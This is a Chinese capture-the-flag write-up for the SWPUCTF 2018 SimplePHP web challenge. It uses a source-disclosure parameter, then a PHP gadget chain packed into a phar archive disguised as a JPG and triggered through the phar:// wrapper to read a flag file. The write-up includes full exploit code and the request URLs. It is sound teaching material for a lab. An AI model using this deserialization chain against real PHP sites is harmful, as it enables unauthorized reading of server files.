[SWPUCTF 2018]SimplePHP
打开网页,发现文件上传,点开查看文件发现url为:/file.php?file= ,尝试获取index.php ,输入url:
/file.php?file=index.php
得到index.php 源码:
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
输入url:
/file.php?file=file.php
得到file.php 源码:
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
输入url:
/file.php?file=upload_file.php
得到upload_file.php 源码:
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>
</script>
</body>
</html>
输入url:
/file.php?file=base.php
得到base.php 源码:
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
在页面右上角显示$_SERVER['REMOTE_ADDR'] 。
输入url:
/file.php?file=class.php
得到upload_file.php 源码:
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
魔术方法:
__construct() //当一个对象创建时被调用 __destruct() //当一个对象销毁时被调用 __toString() //当一个对象被当作一个字符串使用 __sleep() //在对象在被序列化之前运行 __wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过) __get() //获得一个类的成员变量时调用,访问不存在的属性或是受限的属性时调用 __set() //设置一个类的成员变量时调用 __invoke() //调用函数的方式调用一个对象时的回应方法 __call() //当调用一个对象中的不能用的方法的时候就会执行这个函数
References
https://www.jianshu.com/p/40ab1c531fcc
仔细阅读class.php 源码,我们可以得到利用链:C1e4r::__destruct() 的
echo $this->test;
中的$this->test 被当作字符串,此时当$this->test=Show 类时,调用Show::__toString() 函数。设置
$this->str['str']=Test类
因此
$this->str['str']->source=Test类->source
此时Test 类调用不存在的属性source ,此时就会调用Test::__get 函数并执行
$this->get(source)
接着到Test::get 函数里面执行
$value = $this->params["source"];
设置
$this->params["source"]="/var/www/html/f1ag.php"
然后执行
$this->file_get("/var/www/html/f1ag.php")
最后返回
base64_encode(file_get_contents("/var/www/html/f1ag.php"));
就可以得到flag了。把上面的执行步骤转化为exp:
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;
$show->str['str'] = $test;
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($c1e4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
运行后在同一路径下得到exp.phar 文件,改后缀为jpg 上传。下面分析上传后文件名:
方法一
输入url:
/file.php?file=function.php
发现function.php 源码:
<?php
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
阅读function.php 源码发现我们上传的文件被放在了upload/ 文件夹下面。
查阅PHP手册:
explode (PHP 4, PHP 5, PHP 7, PHP 8) explode — 使用一个字符串分割另一个字符串
upload_file_check() 函数中的$allowed_types 变量只允许gif ,jpeg ,jpg ,png 四种类型的文件上传。重点关注上传后文件的命名规则:
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
在我这里$_SERVER["REMOTE_ADDR"]=58.216.176.200 ,所以:
md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"])=md5("exp.jpg58.216.176.200")=cd193f1731991f3588f93b392caf7053
所以我们的上传的文件路径和文件名为:upload/cd193f1731991f3588f93b392caf7053.jpg 。
方法二
在浏览器输入url:
http://4f2fa3ad-3b77-40a3-9ea8-fd858236496b.node4.buuoj.cn/upload/
直接得到文件名。
最后在浏览器输入url:
/file.php?file=phar://upload/cd193f1731991f3588f93b392caf7053.jpg
页面回显base64 编码,解码后得到flag。
References
https://www.cnblogs.com/h3zh1/p/12712426.html
|